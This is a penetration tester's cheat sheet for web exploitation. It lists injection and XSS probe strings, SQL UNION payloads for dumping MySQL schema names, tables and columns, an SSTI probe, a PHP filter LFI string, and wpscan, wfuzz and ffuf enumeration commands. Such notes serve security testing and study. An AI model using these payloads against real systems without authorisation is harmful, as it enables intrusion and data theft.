Web Exploitation
Web-based probing and exploits.
General Injection Probing
Try this string:
"~!@#$%^&*()_'
XSS Probing
- Attempt in a saved input box:
<script>alert(1)</script>for POC
SQL Injection Probing
- Initial special character attempts:
- Try:
','--,"--, and" - More characters at https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
- Try:
- Consult PayloadsAllTheThings for navigating SQL versioning and extracting information: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
- Try a UNION Injection
- Pick a value not associated with a valid record (i.e. "x")
- Try:
x' UNION SELECT 1;-- - Build up from there by adding a number at the end
- e.g.
x' UNION SELECT 1, 2;--thenx' UNION SELECT 1, 2, 3;--
- e.g.
- Extract table structure out
- i.e. suppose
a, b, care the available columns
- i.e. suppose
- Once the displayed columns are correct, attempt to extract out information
- For mysql
- List DBs:
UNION SELECT group_concat(schema_name), b, c FROM information_schema.schemata;-- - List Tables in a DB:
UNION SELECT group_concat(table_name), b, c FROM information_schema.tables WHERE table_schema='DB_NAME';-- - List Columns in Table:
UNION SELECT group_concat(column_name), b, c FROM information_schema.columns WHERE table_name='TABLE_NAME';--
- List DBs:
- For mysql
SSTI Probing
- Attempt probe:
${{<%[%'"}}%\.- If this throws an error, try to narrow it down.
- For further reference: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Execution After Redirect (EAR)
EARs can occur when redirects are improperly configured. Many pages hide sensitive data behind a login page, for example. A 302 may be generated using the following code:
<?php
if (!$loggedin) {
print "<script>window.location = '/login';</script>";
}
?>
Since this code does not have a termination (i.e. die() or return), it will output the code to the page that is unintended.
To investigate a possible EAR, open up Burp.
- Under Proxy Settings > Response interception rules > Check
Intercept responses based on following rules - Under Proxy Settings > Match and replace rules > Add > Item:
Response Header& Match:302 Found& Replace200 OK- Or change Match to whatever the redirect header is in the original response
Tomcat Hacking
- Tomcat login brute force script: https://github.com/perrstephone/offsec-scripts
WordPress
Enumerate WordPress: wpscan --url IPADDR/PATHTOWPSITE/ -e u,ap,at,tt,cb,dbe,m --plugins-detection aggressive | tee wpscan_TARGET.wpscan
Explanation of syntax:
-eto specify the elements to enumerate, in this case,apfor all plugins,atfor all themes,ttfor timthumbs,cbfor config backups,dbefor database exports,ufor users andmfor media
Enumerate WebDAV: davtest -url TARGET | tee dav_TARGET.davtest
Bypassing Upload Filters
Ways websites validate uploaded files:
- file extension
Content-Typeheader- magic bytes
Using an LFI to extract source code
- argument=php://filter/convert.base64-encode/resource=file
Fuzzing
Various fuzzing techniques and ideas
User Enumeration Through Logon Page
- Use Burp to find what the logon form looks like for a given website and use that data to construct a wfuzz command
- Example:
wfuzz -c -w /usr/share/seclists/Usernames/Names/names.txt -d "user=FUZZ&password=invalidpassword" --hs "String in invalid username response" TARGET/LOGONURIPATH | tee wfuzz_secnotes_user_fuzz.wfuzz- Where
--hsmeans hide string and-dmeans POST data
- Where
API Fuzzing
- If working with an API, try fuzzing it for endpoints with Gobuster and larger wordlists (like raft-small-words)
- Once an API endpoint is identified, try hitting it in browser to find out if there are any parameters
- Try fuzzing the parameters further with Ffuf, where FUZZ is the standard stand-in word for Ffuf
- Special characters:
ffuf -u http://TARGET/ENDPOINT?PARAMETER=FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt | tee fuzzing_TARGET_ENDPOINT_PARAMETER.ffuf
- Special characters: